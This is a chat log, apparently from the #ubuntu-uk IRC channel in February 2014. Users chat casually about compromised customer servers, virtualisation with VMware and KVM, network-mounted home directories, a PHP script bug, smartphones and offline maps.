<MartijnVdS> bigcalm: alarm clock style?
<bigcalm> Na, just to be a dick :P
<MooDoo> madness madness brings you nothing but gladness, buy a sekonda, it'll bring you nothing but gladness
<xnox_> Need to get 1,471 MB of archives.
 * MooDoo wonders if people are to young to remember that
<xnox_> i love the FF rush of uploads.
<bigcalm> A rush of uploads to the head
<diplo> Anyone here do much in the way of infosec ? Or actually not really needing that..
<diplo> Basically recently we've had a few customers servers connected to via weak passwords and irc bot/servers installed on them
<diplo> Running very old versions of distros, I'm trying to find out responsibility on this point, I read a document about it a little while ago that as we offer the service we are responsible, even though customers refuse to let us upgrade
<diplo> Wondering if anyone knows of any write ups about it so I can read and pass around, failing on my searches atm
<MartijnVdS> diplo: I think it depends on what was communicated between you and customer about upgrading and (password) security
<MartijnVdS> diplo: if you warned them that the software was old, and insecure, I'd guess it's their problem
<diplo> We ( as a software company ) offer services like Firewall boxes and sysadmin stuff for customers, the guys who do it aren't that knowledgeable, I've found these things without anyone noticing it
<diplo> :/
<diplo> I read something that basically countered that MartijnVdS, but for the life of me I can't find it.
<MartijnVdS> diplo: ouch!
<diplo> I've told my bosses in a meeting last week that what we offer is appalling and not secure and they really ought to find out if they are liable, guess what.. they asked me to :/
<diplo> I'm a software guy in the company supposedly
<MartijnVdS> php? ;)
<brobostigon> star trek, undiscovered country, film4 13:50, :)
<MartijnVdS> brobostigon: Shakespearen Klingons?
<brobostigon> oh yes, :)
<diplo> php/simple ( our own language :( ) python/perl/c/c++
<MartijnVdS> diplo: sometimes, bosses only (want to) listen to an outside consultant.
<MartijnVdS> diplo: maybe get one to do a security audit of your system/software (NDAs in place etc. of course)
<diplo> But if anything goes wrong, basically I have to fix it as the guys who work here know what they know and not much more
<MartijnVdS> diplo: ugh..
<MooDoo> diplo: ffs sack them and get people in that know, you can't be held responsible for everything, are you a manager as you should be doing that stuff
<diplo> Well one of our customers had a PCI compliancy test, we're not pci compliant anyhoo so not sure why they had it, but it showed a fair few failings
<MartijnVdS> diplo: well, if that doesn't get them moving, nothing will
<diplo> MooDoo: Small company, most people been there 10-25 years ( this code was written in assembly before )
<MooDoo> diplo: ah that explains it....
<diplo> That's why I wanted to try and find some good docs to send
<MartijnVdS> diplo: at least set up proper firewalls (including some detection of repeated attempts at bad stuff, like fail2ban)
<diplo> At least I've felt like I've done my part
<diplo> yeah, anything I've setup does.
<diplo> We run SMEServer, I hadn't heard of it before joining
<MartijnVdS> proper release plans, including deprecation of old versions?
<MooDoo> MartijnVdS: looks like there are more - http://www.bbc.co.uk/news/technology-26287517 :)
<diplo> But it's based on centos4 ( eol )
<MartijnVdS> MooDoo: good thing I run openwrt :)
<MartijnVdS> MooDoo: though I did have to patch my NAS..
<diplo> hah, MartijnVdS that's where I want to get to! I think we need a fulltime sysadmin for all customer sites but not getting that through to them
<MooDoo> :) I never got round to attatching my hdd to the router, glad I didn't lol
<jussi> Ramen noodles just hit the spot sometimes...
<MooDoo> jussi: ooo yeah we have a wagamammas here and I love chicken ramen
<jussi> especially when they arent the cheapest crappy ones, but the ones that include some sort of "paste" garlic, chilli etc.
<MartijnVdS> jussi: you know "ramen" is just the Dutch word for "windows", right? ;)
<jussi> MartijnVdS: heh
<dwatkins> So if you combine Windows ME, Windows CE and Windows NT in the Netherlands, you get ramen cement...
<MartijnVdS> dwatkins: you might :)
<dwatkins> I was looking into Tor the other week, it has a bootable ISO which presents a linux environment that looks very much like Windows XP.
<dwatkins> in case you want to hide the fact you're running linux
<MooDoo> windows rocks...[/troll mode off]
<MartijnVdS> MooDoo: have you ever *tried* throwing rocks at windows? ;)
<MooDoo> MartijnVdS: no, I just multiboot rocks at windows when I get fed up with ubuntu lol
<MartijnVdS> MooDoo: then you see Win8, and you quickly reboot into Ubuntu again? ;)
<MartijnVdS> (because of its sanity, of course)
<MooDoo> MartijnVdS: lol actually I quite like 8.1 :D
<MartijnVdS> it's good enough to run games on.. and probably web browsers/office stuff as well
<MartijnVdS> but I couldn't code on it
<foobarry> i hate vmware grrrrr
<MooDoo> MartijnVdS: I like visual studio
<foobarry> spent all day trying to get some vds working
<MartijnVdS> MooDoo: I prefer vim :)
<MartijnVdS> foobarry: if you run vmware illegally, is it "vmwarez"?
<foobarry> final step, everything got destroyed
<foobarry> lolz
<MooDoo> MartijnVdS: you can't get vmware illegally lol it's free :p
<MartijnVdS> MooDoo: there must be some way to break their T&Cs
<foobarry> vsphere isn't free
<shauno> they have paid versions too.  fusion & workstation aren't free
<MooDoo> MartijnVdS: I don't know coz for vmware esx/vsphere you actually need a license
<MooDoo> i was referring to esxi which is :)
<foobarry> well its all shagged
<foobarry> i have 3 hrs to fix
<MooDoo> lol oops
<shauno> hm; someone, somewhere must have a 3hr version of the countdown tune
<MartijnVdS> or a 3 hour drumroll
<dwatkins> foobarry: at least having already done it, this process should be faster
<foobarry> no
<dwatkins> oh, bah
<MooDoo> you could use this 10 min one a few times on repeat - http://www.youtube.com/watch?v=-V3-OgjtSJQ
<foobarry> seting up a distributed switch requires runes and chanting
<MartijnVdS> \o/ openvswitch
<dwatkins> I think I'd rather listen to 10 hours of Nyan Cat.
<daubers> dwatkins: But to some people that's purest pleasure!
<MartijnVdS> daubers: yes but those people are out on the far end of the bell curve
<daubers> s/bell/hell/
<daubers> fixed that for you :)
<MooDoo> check this one out then :) - http://www.youtube.com/watch?v=Ktbhw0v186Q
<MartijnVdS> MooDoo: a night at the roxbury!
<MooDoo> lol
<MartijnVdS> MooDoo: that's what that's from - http://www.imdb.com/title/tt0120770/
<MooDoo> yeah I know :D  just smiled
<dwatkins> daubers: yeah, some people are twisted ;)
<dwatkins> This is my theme for the day: http://www.youtube.com/watch?v=y6Sxv-sUYtM - Happy, by Pharrell Williams
<daubers> I'm qui9te happy listening to the Mirrors Edge soundtrack
<dwatkins> neat
<foobarry> 2hrs 30....no progress :(
<dwatkins> what caused the disaster, foobarry?
<dwatkins> is it something you could recover the data from somehow?
<foobarry> everything resides in vcenter server
<foobarry> when u set it up , the last step is to migrate the vecenter to the new distrobuited switch you creaated
<foobarry> but if it goes wrong, the esxi hosts get screwed
<foobarry> and the mutant vecnter server is managing them but can't start
<dwatkins> I'm guessing you don't have a backup from that point in time, though.
<foobarry> no, its not a backupable thing
<dwatkins> ah ok, some articles on their site suggest you could do a database restore etc.
<xnox_> Laney: ouch..... that was bad shot.... GB cleared their own stones out of the house.....
<foobarry> i wasn't at that stage
<dwatkins> :(
<foobarry> meanwhile i have someone sitting next to me who hasn't moved a muscle in 3 hours
<MartijnVdS> is he pining for the fjords?
<foobarry> pinig for p45
<dwatkins> I worked with someone once who stopped working when there was a threat of redundancies, in the hope he would get laid-off. I think he failed in his attempts, though.
<foobarry> kinda stressful as i've been working my tits off for the last 2 months
<dwatkins> yeah, that sucks
<dwatkins> that it's all having to be re-done, that is
<bigcalm> Due to buying the recent HIB, I have a spare copy of Antichamber for a good home (you need to be on steam)
<MartijnVdS> I already have SuperMatt's copy
<MooDoo> bigcalm: if you're giving it away, I'll have it :D
<SuperMatt> MartijnVdS: you forgot to add "because SuperMatt is awesome"
<bigcalm> MooDoo: are you on steam?
<MooDoo> bigcalm: yes I'm just trying to login to get my id or what ever you need.
<MartijnVdS> SuperMatt: what's your SUper Hexagon record? ;)
<SuperMatt> I haven't played yet
<SuperMatt> my schedule is normally extremely rammed
<MooDoo> bigcalm: THANKS :)
<dwatkins> I still havn't played Banished having bought it on the day it was out (18th)
<andyc> Does anyone here mount home over a network?  I do this but have occasional problems when something goes wrong with my file server, making my machine grind to a halt as my /home has dissappeared.  Is there a reliable way to do this?
<MartijnVdS> andyc: yes, don't make the file server disappear ;)
<andyc> :P
<dwatkins> you could mirror it instead, I suppose
<MartijnVdS> I've switched back to local /home with backups
<andyc> MartijnVdS, This is what I was going to do actually
<TheOpenSourcerer> Hmm, first read that as "Does anyone here mount over a home network"... Ooops :-(
<bigcalm> MooDoo: most welcome
<andyc> Do you keep pictures/videos/etc separate and mount those in your home?
<MartijnVdS> no
<MartijnVdS> I mount them in /mnt/videos
<MartijnVdS> etc.
<andyc> OK thanks, I do that too at the moment but symlink them to /home/$/Videos.  It's not really working out
<MartijnVdS> why not?
<MartijnVdS> also, which network file system do you use?
<MartijnVdS> cifs? nfs? something else?
<andyc> sshfs or nfs usually
<MartijnVdS> sshfs lacks operations that some programs *need* to function, also, a lot slower than nfs ;)
<andyc> interesting I didn't know that
<dwatkins> you could also use iscsi or aoe, which might be faster (since it just passes the disk's own communication straight across the network without additional layers such as security)
<MartijnVdS> dwatkins: iscsi + ipsec!
<dwatkins> sounds like a combination full of win, MartijnVdS
<dwatkins> grep -R is my friend
<andyc> cool thanks for the suggestions.  I'll likely be reinstalling all machines come 14.04 time so will look in to it
<andyc> getting a couple of hdds for the server soon so just planning how I'm going to organise it all
<diplo> Anyone know much about php cli in here?
<MartijnVdS> diplo: I know to avoid it ;)
<MartijnVdS> diplo: what do you want to know?
<diplo> I've got a ph cli prog that calls soap
<diplo> Works fine everywhere apart from my new vps
<diplo> Runs and quits, no errors in any logs
<diplo> but doesn't do anything
<diplo> just goes back to the prompt
<diplo> Can't work out how to debug it :/
<diplo> Nothing has been written to any log files at all, soap defo working ok as I have a page that calls the same thing but in a web page and displays correctly
<diplo> So ruling out soap library issue
<diplo> Ah, think I have it!
<diplo> :)
<bigcalm> Woo, Nationwide be numpties: I'm sorry to hear you're still unable to view your Nationwide <$_PLACEHOLDER:name=insert,description=insert,values=,type=text_$> account online. I've forwarded your message to our Technology department who will investigate this further; your Incident Reference is <$_PLACEHOLDER:name=insert,description=insert,values=,type=text_$>, please quote this in any communications.
<dwatkins> can you reply with "Thanks $GENERIC_MAILMERGE_APPLICATION"?
<diplo> And fixed!
<dwatkins> what was it, diplo?
<dwatkins> magic...
<diplo> Umm, me
<diplo> Well partially
<diplo> So I basically loop through a db of products looking for a certain type of code, if it exists we do a soap call to grab info for it
<diplo> Well someone upgraded the server, and I hadn't committed the changes to the code that the program calls into our trunk, I've been building it manually.. noone told me it had been upgraded
<diplo> So basically the info it was looking for wasn't there..
<diplo> Just set myself a case to say, 'No info here dumb***" or something just so it reminds me if something similar happens again
<dwatkins> groovy
<dwatkins> fun with version mismatches
<diplo> Yeah, I've coded rounded the issues we have, but hadn't committed changes till about 2 hours ago
<diplo> Was upgraded yesterday
<daftykins> https://www.dropbox.com/s/rare8nxoi3rpyb4/comparison.png
<daftykins> telco called this morning to say some form of issue was identified in the exchange - thus i am now on a 'new route', seems he didn't understand well enough to tell me exactly
<daftykins> so my downstream SNR is back up and full rate restored :D
<dwatkins> they didn't understand signal-to-noise? What kind of technician were they? ;)
<mapps> hello
<daftykins> dwatkins: well no he just didn't explain what was changed in any technical form
<dwatkins> daftykins: fair enough, I suppose - probably just got their callcentre to make a bunch of calls to everyone who logged an issue
<mapps> urgh
<mapps> saving moneys hard
<dwatkins> are you?
<mapps> need to yea
<mapps> else il never get enough of a deposit together
<MartijnVdS> Does anyone remember what the problem was with supporting Via C3 CPUs?
<MartijnVdS> Was it just PAE, or also something else? (some compiler flag)
<MartijnVdS> ah CMOV, that's it
<MartijnVdS> but I have that flag.. hmm
<maps|wrk> hello
<MartijnVdS> evening
<maps|wrk> up to much? what was all that virtualisation stuff you were talking of earlier not vmware something else
<MartijnVdS> kvm?
<MartijnVdS> + virt-manager ?
<maps|wrk> tyhat could be it but also mention lib something
<MartijnVdS> libvirt-bin
<MartijnVdS> (the stuff that virt-manager talks to)
<maps|wrk> aha
<maps|wrk> and kvm comes in where
<MartijnVdS> libvirt can manage all kinds of virtualization methods
<MartijnVdS> kvm being one of the best integrated ones
<maps|wrk> aha
<MartijnVdS> and you can use virt-manager to create VMs etc
<maps|wrk> not entirtely sure on kvm i remember reading up a tiny bit about it
<MartijnVdS> maps|wrk: do you know qemu?
<maps|wrk> nop heard of but nothing more..why
<maps|wrk> kvm and qemu is different to a normal vmware/vbox virtualisation?
<MartijnVdS> well, KVM is a kernel module to do virtualization, and it's most often used using a special qemu :)
<MartijnVdS> qemu can also *emulate* instead of virtualize
<maps|wrk> when you say kernel so u dont boot into an os to run a virtual?
<MooDoo> evening all
<MartijnVdS> you boot Ubuntu, then it starts libvirt which starts VMs running on that Ubuntu machine
<MartijnVdS> so similar to virtualbox
<MartijnVdS> but Free and less crappy ;)
<maps|wrk> aha
<maps|wrk> and thats kvm?
<maps|wrk> so where does qemu come in if kvm can do it all
<MartijnVdS> what most people mean when they say "kvm" is that, yes.
<MartijnVdS> maps|wrk: you use the "kvm" kernel parts with a special "qemu" binary
<MartijnVdS> that does not emulate (like it normally would), but that hands over control to kvm instead
<MooDoo> is it sad I look forward to my daily apt-get dist-upgrade?
<MartijnVdS> http://www.linux-kvm.org/page/FAQ
<maps|wrk> aha
<maps|wrk> daily?:P
<MooDoo> maps|wrk: yeah daily :D
<MartijnVdS> trusty -> daily upgrade
<MartijnVdS> MooDoo: it's not sad :)
<MooDoo> :S
<MooDoo> :D
<daftykins> MooDoo: are you a gambling man? :D
<MartijnVdS> daftykins: for the last 3-4 releases, the "unstable" one has been surprisingly good
<MooDoo> daftykins: when it comes to ubuntu yup indeedy, dist-upgrade and it's 50/50 if it'll boot again or not lol
<daftykins> :D
<maps|wrk> lol
<maps|wrk> so i shiuldnt do a dist-upgrade remotely now
<maps|wrk> else i may lose my irc;p
<MooDoo> well mine is fine :D then again i've not rebooted since doing it lol
<maps|wrk> hmm ok chrome just crashed says crashed send error report etc on my work machine
<maps|wrk> so i ignored it and dragged the error box to the corner and everything seems to be ok:)
<maps|wrk> anyone evr extended/boosted their wireless signal?
<maps|wrk> most products im looking at dont seem to give a range
<foobarry> notices opensourcerer's name on http://standards.data.gov.uk/proposal/sharing-collaborating-government-documents
<maps|wrk> contempt:  having internet problems?:<
<ilinux> Hi
<MartijnVdS> maps|wrk: "If you're having net problems I feel bad for you son, I have 99 problem but IP ain't one"
<maps|wrk> lol
<maps|wrk> hi ilinux
<maps|wrk> :)
<ilinux> this empathy irc window is gonna take some getting used to lol
<ilinux> I choose the ilinux nick as I have a white Toshiba laptop that looks like a kmac wannabe
<ilinux> *mac
<maps|wrk> haha
<maps|wrk> :D
<maps|wrk> what version you on ubuntu 13.10?
<ilinux> yeah
<ilinux> Empathy just crashed :(
<maps|wrk> aha
<maps|wrk> im on xubuntu 13.10 what specs your laptop
<ilinux> dualcore pentium with 8gb ram
<ilinux> funny thing is ubuntu is running much faster than xfce manjaro was
<maps|wrk> hm
<maps|wrk> surprising, xfce is meant to be lightweight
<maps|wrk> i like xfce :)
<ilinux> I think it's due to some of the tools I was using ubuntuone and some others maybe. Interestingly Ubuntu shows no startup apps
<ilinux> My favorite DE is probably lxde
<ilinux> I loved lubuntu but haven't tried xubuntu for a few years. Is it good?
<maps|wrk> hm yea ive used lubumtu
<maps|wrk> howcome youre using ubuntu now if you like lubuntu
<maps|wrk> ilike it ilinux  running it on an old dell desktop./.2gb ram dual core thing..it works fine but if i compile something big..wow it sounds like a plans taking off:D
<ilinux> I thought I'd give 13.10 a go.
<maps|wrk> xubuntu 13.10:)
<ilinux> I don't hate unity or anything but I'll give it a tryout and maybe go with lubuntu or xubuntu
<ilinux> Ah stuff it I might just give xubuntu a go in a minute lol
<maps|wrk> so ubuntu doesnt use gnome anymore?
<ilinux> ubuntu uses gnome
<ilinux> unity is built on gnome shell
<ilinux> isn't it?
<jpds> ilinux: Nope.
<maps|wrk> hello#
<diddledan> morning
<shauno> o/
<diddledan> edward snowden tribute linux?
 * diddledan just listening to the linux voice podcast
<diddledan> http://www.binaryemotions.com/snowden/
<maps|wrk> hm how long is it?
<maps|wrk> what you upto shauno  you're always here, ever sleep:P
<shauno> seems a tad pointless?
<diddledan> just over an hour
<shauno> I always sleep
<diddledan> perl is unreadable by human minds. does that mean it's actually non-free? (question posed by the podcast)
<ali1234> when was the ubuntu edge supposed to be released if it got funded?
<ali1234> wasn't it about now?
<diddledan> ali1234: somewhen soon
<diddledan> I don't recall the actual date
<maps|wrk> what is edge
<maps|wrk> note to self .. find out about pam tally :D
<ali1234> http://www.indiegogo.com/projects/ubuntu-edge
<maps|wrk> being that pam tally was the cause of my sudo issues and pam_tally --reset fixed it all:D
<maps|wrk> watching 1st dates atm :D
<shauno> May 2014 seems a bit silly for the delivery dates now.  especially since most the stuff they were promising still doesn't exist
<ali1234> is that what they said?
<ali1234> it doesn't really seem that unrealistic to me
<shauno> that's in the sidebar on the page you linked, at least
<ali1234> so it is :)
<shauno> I'm not sure anyone's put that much ram in a phone yet?
<diddledan> http://www.washingtonpost.com/blogs/innovations/wp/2014/01/30/theres-a-giant-robot-directing-traffic-in-congo/
<shauno> last I heard apple were still the only ones with a 64bit phone
<maps|wrk> how much ram
<maps|wrk> ya think thats true atm
<shauno> but then the edge apparently had a 'desktop class' cpu hidden up its sleeve.  and a battery made out of unicorn farts to power it
<popey> meow
<ali1234> quad core phones are quite common now, as is 2GB RAM and 64GB storage
<diddledan> mmm, unicornmeat
<maps|wrk> how much ram is it talking about tho
<ali1234> the edge was supposed to have 4GB
<diddledan> c.f. http://www.thinkgeek.com/product/e5a7/
<ali1234> the galaxy S5 should be out soon and it's quite likely it will have better specs than the S4, which means at least 3GB ram and quad core
<maps|wrk> ah
<maps|wrk> what about the i6
<ali1234> what is i6?
<maps|wrk> 64bit more memory, maybe thinner..maybe a saphire screen..that'd be cool
<maps|wrk> iphone 6:D
<ali1234> oh you mean iphone
<maps|wrk> september it'll be out
<maps|wrk> ya
<ali1234> well, iphone is not sold on specs
<ali1234> so don't expect anything amazing, except maybe that hi res screen
<maps|wrk> apple have apparently been buying up saphire production stuff ..and that stuff makes pretty tough displays
<maps|wrk> id go for a tough display OVER anything else atm
 * hamitron would go for something that is sweat resistant :/
<maps|wrk> ah yea for sure..when i use my iphone if i take a call after the gym like uhh phone gets sweaty and then cant use any of the buttons
<maps|wrk> but a tougher screen would be so handy, atm its way too easy to break the screens imo
<ali1234> i don't know how people do it personally
<maps|wrk> break their screens?
<ali1234> yes
<hamitron> my ngage died when I was working and sweat drowned it inside my pocket last summer
<hamitron> :/
<ali1234> now you're really siiiiiide-talkin'
<diddledan> a colleage managed to break two nexus7 displays shortly after each other
<maps|wrk> uhh i dropped my i5 in the gym and the screen broke..dropped it onto a carpeted floor./mustve landed badly
<maps|wrk> theyre quite fragile imo
<ali1234> well i have no experience of iphones
<hamitron> ali1234, saved getting grease on the screen from my face ;)
<maps|wrk> lol replaced the nexus7 displauy then broke it again or 2 diff ones diddledan ?
<diddledan> replaced thefirst display and killed the second shortly after
<hamitron> I dropped my nokia lumia 710 on my motorbike onto the road at 50-60mph
<hamitron> and it lives
<hamitron> ;/
<maps|wrk> you went back to get it? musnt have been a really busy road i guess?
<hamitron> country lane
<hamitron> :)
<maps|wrk> well me personallly i think saphire displays would be ace
<ali1234> nokia knows how to build stuff that doesn't beak
<hamitron> I thought it had broken this week actually
<maps|wrk> http://www.stuff.tv/apple/apple-iphone-6-and-iwatch-could-have-unscratchable-sapphire-screens/news
<hamitron> I filled the memory and it lost data :/
<hamitron> but all working fine now
<diddledan> what are we supposed to call nokia phones now they're wholly owned by not nokia?
<ali1234> more importantly, who cares?
<hamitron> I'm calling mine lumia, just to hide the MS link
<hamitron> ;/
<ali1234> nobody is fooled
 * hamitron cries
<maps|wrk> http://au.ibtimes.com/articles/539776/20140221/iphone-6-price-significantly-increases-due-sapphire.htm
<maps|wrk> thats bad though
<maps|wrk> price increase..the  phones already cost a fortune sim free and off contract
<hamitron> I just wish there was some other option to windows phones, that I liked
<maps|wrk> windows phones dont have enough apps iirc? developers dont bother with them droid and ios before windows?
<maps|wrk> what do nokia phones run now? i thought i read Nokia were releasing a low budget android handset?
<hamitron> well, I've found enough apps to fill 8GB
<hamitron> :/
<diddledan> maps|wrk: any androids that come out of nokia would have been planned before the microsoft takeover
<maps|wrk> so what will new nokia handsets run
<diddledan> windows
<hamitron> MS have pretty much bought their mobiles unit
<hamitron> still wish I could get a phone like a n900 that has a basic linux distro on it
<hamitron> ;)
<diddledan> even ubuntu touch is a weird locked-down beast
<hamitron> a toy with control, no real apps needed, just.... a toy
<maps|wrk> n900 had just linux
<maps|wrk> isnt there some handsets that are made to a small number that run linux read some link ages ago
<maps|wrk> noty a big manufacturer obv
<maps|wrk> so windows mobile is it diddledan ?
<ali1234> yeah, the firefox phone
<diddledan> maps|wrk: windows phone
<ali1234> they were pretty rubbish
<hamitron> it has to be decent specs ofc
<ali1234> specs wise, they were bottom-end smartphones
<ali1234> roughly equivalent to galaxy S1 iirc
<diddledan> the openmoko?
<hamitron> 200mhz+ cpu would do me, with 512MB memory
<hamitron> but a good screen
<hamitron> and open source drivers
<hamitron> :)
<ali1234> you can't have a good screen and a 200mhz cpu
<ali1234> it's not possible
<diddledan> the openmoko was low-end even back when it was released
<hamitron> I only want 480x800
<hamitron> or something
<ali1234> drawing things on the screen takes work and when you double the resolution your quadruple the amount of work
<ali1234> 480x800 is what the N900 had
<hamitron> that is fine
<hamitron> :)
<ali1234> the N900 only had one crippling flaw and that is the resistive touchscreen
<maps|wrk> that could be the one diddledan
<hamitron> ali1234, supply is now the issue
<hamitron> at the time, price was my main issue with it
<ali1234> hamitron: not really, there are plenty of them still available
<maps|wrk> i like the idea of the firefox phone and eveything html5 no locked down eco system/walled garden -0 the phones are low spec BUT they also cost a fraction of say an i5/s4
<hamitron> ali1234, just scared of getting a fake
<hamitron> :/
<ali1234> a fake??
<ali1234> you can walk in to any cash converter type store and buy one
<hamitron> I want new
<hamitron> :/
<ali1234> well, you won't get a new one
<hamitron> 99.8% of 2nd hand phones have shit on them
<hamitron> as loads use them at the toilet
<ali1234> literally?
<hamitron> ;)
<hamitron> yeh
<ali1234> nice
<ali1234> get a second hand one and clean it
<hamitron> clean it?
<hamitron> :|
<ali1234> it's actually relatively easy to disassemble
<ali1234> anyway, you want to get a neo900
<hamitron> are all the drivers open?
<ali1234> hell no
<ali1234> that isn't possible
<hamitron> yeh :/
<ali1234> unless you only want GSM 9600 bps
<ali1234> http://neo900.org/
<hamitron> just looking
<hamitron> not actually heard of it tbh
<ali1234> it's run by a very well known and trusted member of maemo and openmoko community
<ali1234> so no worries about them running away with the money
<ali1234> they might totally fail to deliver of course
<ali1234> but they are capable of delivering, assuming nothing unexected happens
<hamitron> that is exactly what I want tbh
<hamitron> :D
<ali1234> not quite, it will still have the nasty reisstive touch screen
<hamitron> well, nearest I'll get
<maps|wrk> whats that
<hamitron> suppose I'll miss my live tiles
<hamitron> ;)
<maps|wrk> reissitive?
<ali1234> resistive touchscreen is the old type of touchscreen that is really innaccurate and needs a stylus
<ali1234> and you have to press on it really hard
<maps|wrk> ah
<maps|wrk> http://www.youtube.com/watch?v=9f347m914gY
<ali1234> if you had a smartphone before iphone, it probably had a resistive screen
<maps|wrk> watching that - cant wait for august
<hamitron> omg ali1234
<hamitron> the price
<hamitron> :/
<ali1234> yes?
<ali1234> well that's what a new N900 would cost you
<hamitron> 600 t 850 euro
<hamitron> to*
<hamitron> I've never paid more than Â£99 for a phone
<hamitron> ;)
<ali1234> i've never paid anything for a phone
<hamitron> my statement stands for no contract
<hamitron> :)
<ali1234> i've never had a contract phone either
<maps|wrk> i was wondering what to do about my phone when i go abroad..dont really wanna take an iphone 5 incase i lose it or whatever - just take a crap old non smartphone?
<hamitron> aha! someone as tight as me! \o/
<ali1234> maps|wrk: that video should have ended with him going on a killing spree
<maps|wrk> lol
<maps|wrk> why
<ali1234> i dunno
<ali1234> ever seen that film, american beauty?
<maps|wrk> ya
<ali1234> video reminded me of that
<shauno> do you lose phones often?
<ali1234> i've only ever lost one phone
<diddledan> I don't think I've ever lost a phone
<ali1234> it was a philips diga
<maps|wrk> na i dont,..but id be in ibiza
<maps|wrk> figured could be easy to lose one
<shauno> my main worry taking a phone on holiday is that I'll end up using it.  and then have to take out a 2nd mortgage to pay for the data
#ubuntu-uk 2014-02-22
<hamitron> my main worry would be someone will phone me
<hamitron> ;)
<diddledan> yeah, I don't get why roaming data is so cripplingly expensive
<shauno> people don't phone me.  they know better.  my phone lives on silent.  and silent-silent, not "bzzzzzzt" silent
<maps|wrk> lol yea they have talked about stopping roaming charges in the eu though..although not sure when it takes effect?
<maps|wrk> also iirc 3 dont charge for roaming in a number of countries..not all eu , but some ajnd i think some other places like aus too
<maps|wrk> but yea i got like 40 quid of charges from using my 3g in Holland when we were in the red light district..for about 20mins and i made a call at the airport
<hamitron> why not just disable data?
<maps|wrk> you can do yea
<diddledan> if you can't use 3g in a red light district, when can ya?!
<maps|wrk> my mate was using 3g all the time..dunno if he had some kinda plan but when we got lost he was using google maps with the voice to direct us LOL
<diddledan> I mean. instagram!
<maps|wrk> anyone ever used google maps l;ike a sat nav with the voice  really good..the little . follows you and th directions worked well
<hamitron> :))
 * hamitron uses nokia maps
<hamitron> ;)
<diddledan> eww
<diddledan> formally known as ovi
<hamitron> no data = good
<hamitron> ;/
<diddledan> and before that something else iirc
<shauno> data roaming should be capped now, but the current cap is 45 cents / mbyte, which still racks up quick enough
<hamitron> how do maps work in an area with no signal then?
<hamitron> if you are downloading stuff
<maps|wrk> works really well i was surprised..tried google maps v a sat nav when we went to the imax..and google maps was more response..go off it's proposed route it recalcs pretty quickly
<maps|wrk> i was surprised how good it was
<maps|wrk> ah not sure hamitron  i had full signal and 3g which explains why it worked so well...when you say no signall.no signal AT ALL?
<diddledan> gmaps requires data connection for the recalculation stuff though
<hamitron> none at all
<hamitron> :/
<maps|wrk> yea
<maps|wrk> surely it also requires data to be able to know where you are..when that blue dot was moving about as we were
<diddledan> no, gps doesn't require data connection
<shauno> don't most phones still do agps?
<hamitron> a-gps is the one that does iirc
<diddledan> agps?
<shauno> http://en.wikipedia.org/wiki/Assisted_GPS
<maps|wrk> isnt that still some kind of connection diddledan  if we had no signal at all would that still work?!
<hamitron> I use gps with a-gps as backup
<hamitron> only bad thing.... battery life
<hamitron> :/
<hamitron> I better get sleep
<maps|wrk> so if i was abroad diddledan  i could use maps? and get directions with my 3g and data roaming off>
<diddledan> maps|wrk: if you'd previously downloaded all the data required, yes
<maps|wrk> ]aha
<maps|wrk> is it possible to download maps for an entire country on gmaps i wonder
<diddledan> maps|wrk: usually means the mapping info for the desired route and the graphics
<hamitron> so nokia maps wins? ;)
<hamitron> nn o/
<maps|wrk> why does it win!
<maps|wrk> :)
<hamitron> well, I have all roads installed for the UK
<shauno> just cache the maps before you go; https://support.google.com/gmm/answer/2650377?hl=en
<diddledan> how much data does a whole country require for gmaps cache?
<shauno> I'm not sure it'll let you try :p
<maps|wrk> ah so it might not be possible?
<maps|wrk> could i cache all the maps on the iphone for czech republic?
<shauno> heh, no, it's not in the iphone version
<maps|wrk> damn
<maps|wrk> so you can on droid?
<shauno> it seems so, by what's in that link
<shauno> although it says it'll let you keep 6 maps, and then each map is a 'region or city'; but doesn't tell you how big a region can be
<shauno> that said, google maps on the iphone is so bad that I really can't figure out why every dogs on apple's one
<maps|wrk> hmm really
<maps|wrk> whats so bad about google maps on the iphone? i honestly thought its fine - whats better about andreoid version-ive never tried it
<diddledan> shauno: I think part of the problem is probably because apple forced any usage of googles mapping service to automatically be handled by apple's instead - so google need to bypass that for a start
<shauno> I haven't tried the android version either
<shauno> but still like .. shake to send feedback.  this function was apparently implemented by someone who discovered the motion API, but had never used a phone
<diddledan> o_O
<diddledan> shake to send feedback?!
<diddledan> srsly?
<shauno> yup
<hamitron> so if a girl goes for a wild ride and shout "oh yes", what happens?
<maps|wrk> hmm thing is apples maps was inaccurate and if you remember it looked odd when they made it 3d and stuff
<shauno> I also like that you can save a location, and store your home & work locations
<shauno> but you can't save a location as your home or work.  so I can't actually enter my work location because it doesn't have a street address
<diddledan> off the books? ;-)
<diddledan> NOC-style?
<maps|wrk> cant store as home or work?
<shauno> it just doesn't have a street/building number
<maps|wrk> why
<maps|wrk> it makes home/work have to have an address?
<shauno> I mean the 'save location' is unconnected to the home/work locations.  so I can't drop a pin here and mark is as home
<maps|wrk> :(
<maps|wrk> im still wondering why you think google maps on iphone sucks its great - just a bit of a bummer that i cant  cache maps to it
<hamitron> "just".... tomtom's had that feature from the start ;/
<shauno> the maps are great.  the application is terrible
<maps|wrk> what about openstreetmap
<maps|wrk> anyone use openstreetmap
<popey> ya
<maps|wrk> work well?
<popey> i like it
<ali1234> is it possible for an X window to be fully transparent and also... still exist?
<ali1234> ie receive input
<ali1234> or looking at the problem another way, is it possible to make the resize handles bigger than the window frame without involving the compositor to make those parts of the window transparent?
<neuro> waiting for dinner to be delivered at half one in the morning sucks
<daftykins> neuro: lol, pizza?
<neuro> smoked sausage supper :)
<daftykins> D:
<maps|wrk> dominos?
<maps|wrk> hey neuro  thanks for yesterday that fixed sudo
<diddledan> contempt really needs to fix his internets
<mapps> yo
<mapps> yes he does diddledan
<mapps> :)
<mapps> and he's gone again poor thing
<shauno> morning
<mapps> morning shauno
<shauno> I wonder if I'm bored enough to try upgrading my router while I'm not home
<xalyy> Hello
<xalyy> Is somebody know about RAID?
<popey> Morning!
<foobarry> morning
<popey> think today is lego movie day for me and sam
<foobarry> whats it about?
<popey> dunno
<DJones> I bet  there's a disaster that lego people save the world from
<popey> its one giant advert for lego
<popey> yeah, sounds about right
<DJones> Thats the plot of about 50% of films
<DJones> Replacing lego people with real people/aliens/robots
<foobarry> http://fundraiser.pitivi.org/
<DJones> Reading the description, it sounds like the plot has come from a Mario Bros game
<foobarry> i can never keep up with which one is the non crashy one
<popey> kdenlive
<popey> i was staggered how stable it was last week when I had to use it intensively for a promo video
<popey> openshot crashed on pretty much every click
<foobarry> is it easy to use?
<popey> kdenlive?
<foobarry> pitivi looks nice
<foobarry> yep
<popey> i figured it out
<popey> and it didnt take long at all
